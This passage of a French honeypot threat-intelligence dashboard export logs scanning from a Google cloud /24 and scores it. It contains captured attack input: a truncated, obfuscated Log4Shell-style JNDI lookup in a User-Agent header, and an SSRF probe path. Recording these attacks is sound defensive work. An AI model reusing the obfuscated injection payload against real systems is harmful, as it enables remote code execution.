"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"classification_reason_label_fr": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 65\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 64 % \u2014 via HTTP \u2014 campagne \/24 (34.19.127.0\/24)",
"confidence_pct": 64,
"confidence_breakdown": {
"waf": 100,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 65,
"correlation_boost": 10
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 65,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8087,
"protocol_emulated": true,
"tags_summary": [
"CRS-920350"
],
"tags_summary_labels_fr": [
"CRS-920350"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/http%3A%2F%2Fw00te8b527c1d.com",
"request_line": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8087,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "ssrf internal \u00b7 via HTTP:8087 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/http%3A%2F%2Fw00te8b527c1d.com",
"evidence_snippet": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\r\nHost: 62.3.50.33:8087\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"target_port_label": "8087 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 64 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +10 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8087"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 25,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950404:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"net_web_probe"
],
"asn_dc_heuristic": true
}
30/07/2026 18:47:13 UTC
TCP
8087 · HTTP
Sonde port 8087/TCP
port 8087 tcp · via HTTP:8087 · (sonde / probe)
Élevée
Moyen · 48
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
TA0007
TA0007
TA0001
Protocole
GET / UA ${${9:u1l:-j}${q:p94:-n}${93d:o9:j8:-d}${4eg:xy:oyis:-i}${4:1:-…
Émulateur
HTTP
WAF
16
Recommandation
Surveiller
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
net_web_probe
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8087
Chemin / cible
/
Preuve honeypot — Sonde port 8087/TCP
Connexion détectée sur le port 8087 (TCP) du capteur simulé.
Pourquoi cette classification : Type « port_8087_tcp » (signaux protocolaires) · confiance 50%
Confiance classification
60%
Corrélation +10
Risque capteur
Moyen
· 48
Confiance : Confiance 50 % — Motif catalogue confirmé · Classification nommée non retenue — preuves insuffisantes · 3 tag(s) WAF
Protocole émulé
1 Signaux
pat-0162
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 933135
Ligne de requête
GET / HTTP/1.1
User-Agent
${${9:u1l:-j}${q:p94:-n}${93d:o9:j8:-d}${4eg:xy:oyis:-i}${4:1:-:}${lu:xgi:q2:-l}${6yuc:-d}${1nq:wibn:h79z:-a}${t:umb:-p}${tk8j:qsbi:-:}${yg:-/}${3twv:i7v:-/}${nfm:-U}${6:7:zn:-A}${8u1:9tkb:-l}${onyc:…
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: 62.3.50.33:8087
Accept: */*
User-Agent: ${${9:u1l:-j}${q:p94:-n}${93d:o9:j8:-d}${4eg:xy:oyis:-i}${4:1:-:
Requête brute (extrait)
GET / HTTP/1.1 Host: 62.3.50.33:8087 Accept: */* User-Agent: ${${9:u1l:-j}${q:p94:-n}${93d:o9:j8:-d}${4eg:xy:oyis:-i}${4:1:-:}${lu:xgi:q2:-l}${6yuc:-d}${1nq:wibn:h79z:-a}${t:umb:-p}${tk8j:qsbi:-:}${yg:-/}${3twv:i7v:-/}${nfm:-U}${6:7:zn:-A}${8u1:9tkb:-l}
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "e60dab4f8e820e92ae9299de15b1a96f32934671",
"http_host_hash": "23dd08f746fb09fb08372c318f4fc3071fcf4424",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": "48ae5ce0a0849c63e1465af8d96dbcec2bb92493",
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 4096,
"payload_entropy": 4.787281860879384,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8087,
"risk_waf": 72,
"risk_classification": 48,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 5.7,
"risk_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 48,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "ac25cfe440c12f4ccb2faeb3aa29909fe10b0e2e",
"event_fingerprint": "f101b5a9d5b093a78295a25d33084634d7d418d5",
"classification_reason": "Type \u00ab port_8087_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"confidence": 0.6,
"classification_confidence": 0.6,
"precision_score": 70,
"precision_signals": [
"pat-0162"
],
"kb_rule_ids": [
"pat-0162"
],
"matched_patterns": [
"pat-0162"
],
"matched_pattern_names": [
"CRS 933135"
],
"pattern_ids": [
"pat-0162"
],
"confidence_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 48,
"correlation_boost": 10
},
"named_classification_skipped": true,
"named_candidate": "php_injection",
"service_name": "http",
"risk_confidence_factor": 50,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "b003e2b628ea55c737aec89e35188556",
"payload_hash": "2b873b0adb00c73e75072a5495526bfc",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 8087,
"service": "http",
"service_name": "http",
"risk_score": 48
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8087\r\nAccept: *\/*\r\nUser-Agent: ${${9:u1l:-j}${q:p94:-n}${93d:o9:j8:-d}${4eg:xy:oyis:-i}${4:1:-:",
"method": "GET",
"path": "\/",
"user_agent": "${${9:u1l:-j}${q:p94:-n}${93d:o9:j8:-d}${4eg:xy:oyis:-i}${4:1:-:}${lu:xgi:q2:-l}${6yuc:-d}${1nq:wibn:h79z:-a}${t:umb:-p}${tk8j:qsbi:-:}${yg:-\/}${3twv:i7v:-\/}${nfm:-U}${6:7:zn:-A}${8u1:9tkb:-l}${onyc:0d5:6:-0}${9:te8:kqf:-c}${0cjn:--}${${60f3:48x:r:-s}${3s\u2026",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8087\r\nAccept: *\/*\r\nUser-Agent: ${${9:u1l:-j}${q:p94:-n}${93d:o9:j8:-d}${4eg:xy:oyis:-i}${4:1:-:}${lu:xgi:q2:-l}${6yuc:-d}${1nq:wibn:h79z:-a}${t:umb:-p}${tk8j:qsbi:-:}${yg:-\/}${3twv:i7v:-\/}${nfm:-U}${6:7:zn:-A}${8u1:9tkb:-l}",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8087\r\nAccept: *\/*\r\nUser-Agent: ${${9:u1l:-j}${q:p94:-n}${93d:o9:j8:-d}${4eg:xy:oyis:-i}${4:1:-:",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "${${9:u1l:-j}${q:p94:-n}${93d:o9:j8:-d}${4eg:xy:oyis:-i}${4:1:-:}${lu:xgi:q2:-l}${6yuc:-d}${1nq:wibn:h79z:-a}${t:umb:-p}${tk8j:qsbi:-:}${yg:-\/}${3twv:i7v:-\/}${nfm:-U}${6:7:zn:-A}${8u1:9tkb:-l}${onyc:0d5:6:-0}${9:te8:kqf:-c}${0cjn:--}${${60f3:48x:r:-s}${3s\u2026",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8087\r\nAccept: *\/*\r\nUser-Agent: ${${9:u1l:-j}${q:p94:-n}${93d:o9:j8:-d}${4eg:xy:oyis:-i}${4:1:-:}${lu:xgi:q2:-l}${6yuc:-d}${1nq:wibn:h79z:-a}${t:umb:-p}${tk8j:qsbi:-:}${yg:-\/}${3twv:i7v:-\/}${nfm:-U}${6:7:zn:-A}${8u1:9tkb:-l}",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8087\r\nAccept: *\/*\r\nUser-Agent: ${${9:u1l:-j}${q:p94:-n}${93d:o9:j8:-d}${4eg:xy:oyis:-i}${4:1:-:",
"classification_reason": "Type \u00ab port_8087_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "62e080005cead92422ada8f49986ab9230ec7e62",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "${${9:u1l:-j}${q:p94:-n}${93d:o9:j8:-d}${4eg:xy:oyis:-i}${4:1:-:}${lu:xgi:q2:-l}${6yuc:-d}${1nq:wibn:h79z:-a}${t:umb:-p\u2026",
"port": 8087,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8087\r\nAccept: *\/*\r\nUser-Agent: ${${9:u1l:-j}${q:p94:-n}${93d:o9:j8:-d}${4eg:xy:oyis:-i}${4:1:-:",
"attack_vector": "port 8087 tcp \u00b7 via HTTP:8087 \u00b7 (sonde \/ probe)",
"target_port_label": "8087 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_8087_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"classification_reason_label_fr": "Type \u00ab port_8087_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 48\/100",
"confidence_pct": 60,
"confidence_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 48,
"correlation_boost": 10
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 48,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8087,
"protocol_emulated": true,
"tags_summary": [
"pat-0162"
],
"tags_summary_labels_fr": [
"pat-0162"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "${${9:u1l:-j}${q:p94:-n}${93d:o9:j8:-d}${4eg:xy:oyis:-i}${4:1:-:}${lu:xgi:q2:-l}${6yuc:-d}${1nq:wibn:h79z:-a}${t:umb:-p\u2026",
"port": 8087,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port 8087 tcp \u00b7 via HTTP:8087 \u00b7 (sonde \/ probe)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8087\r\nAccept: *\/*\r\nUser-Agent: ${${9:u1l:-j}${q:p94:-n}${93d:o9:j8:-d}${4eg:xy:oyis:-i}${4:1:-:",
"target_port_label": "8087 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 60 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +10 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8087"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 25,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_monitor",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
30/07/2026 18:46:07 UTC
TCP
8021 · HTTP
SSRF interne
ssrf internal · via HTTP:8021 · (tentative d'exploit)
Élevée
Moyen · 55
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
TA0001
TA0001
TA0002
Protocole
GET / UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
16
Recommandation
Investiguer
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
net_web_probe
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8021
Chemin / cible
/
Pourquoi cette classification : Type « ssrf_internal » (signaux protocolaires) · confiance 54%
Confiance classification
72%
Corrélation +18
Risque capteur
Moyen
· 55
Confiance : Confiance 54 % — Motif catalogue confirmé · 3 tag(s) WAF
Protocole émulé
1 Signaux
CRS-920350
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
GET / HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: 62.3.50.33:8021
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.
Requête brute (extrait)
GET / HTTP/1.1 Host: 62.3.50.33:8021 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "20069a0609fb04fa269e76e054466b89fdd46dcb",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 185,
"payload_entropy": 5.3442683446057755,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8021,
"risk_waf": 72,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 5.1,
"risk_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 55,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "64f21444ad82a78a7f583a0cfeca5f38571c56f6",
"event_fingerprint": "76cc39f208f9febc5528b81aee5c934e71712c56",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"confidence": 0.72,
"classification_confidence": 0.72,
"precision_score": 64,
"precision_signals": [
"CRS-920350"
],
"kb_rule_ids": [
"CRS-920350"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 55,
"correlation_boost": 18
},
"named_classification_skipped": false,
"classification_parent": "ssrf_attack",
"service_name": "http",
"risk_confidence_factor": 54,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "f47adef4f5ae09cd2b0d7bbb941dd9dc",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 8021,
"service": "http",
"service_name": "http",
"risk_score": 55
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8021\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8021\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8021\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8021\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8021\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "575f9c9b651c637bbbba6fbb01f5369dde4fbe2b",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8021,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8021\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"attack_vector": "ssrf internal \u00b7 via HTTP:8021 \u00b7 (tentative d'exploit)",
"target_port_label": "8021 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"classification_reason_label_fr": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 55\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 72 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 72,
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 55,
"correlation_boost": 18
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 55,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8021,
"protocol_emulated": true,
"tags_summary": [
"CRS-920350"
],
"tags_summary_labels_fr": [
"CRS-920350"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8021,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "ssrf internal \u00b7 via HTTP:8021 \u00b7 (tentative d'exploit)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8021\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"target_port_label": "8021 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 72 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +18 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8021"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"cpanel-ssl",
"http"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 24,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
